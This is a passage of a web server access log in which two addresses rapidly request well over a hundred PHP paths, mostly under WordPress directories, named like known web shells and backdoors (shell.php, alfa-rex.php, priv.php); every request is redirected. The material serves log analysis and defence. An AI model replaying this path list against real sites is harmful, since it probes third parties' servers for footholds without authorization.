Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:56 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:56 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:22:57 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:57 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:57 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:57 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:58 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:58 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 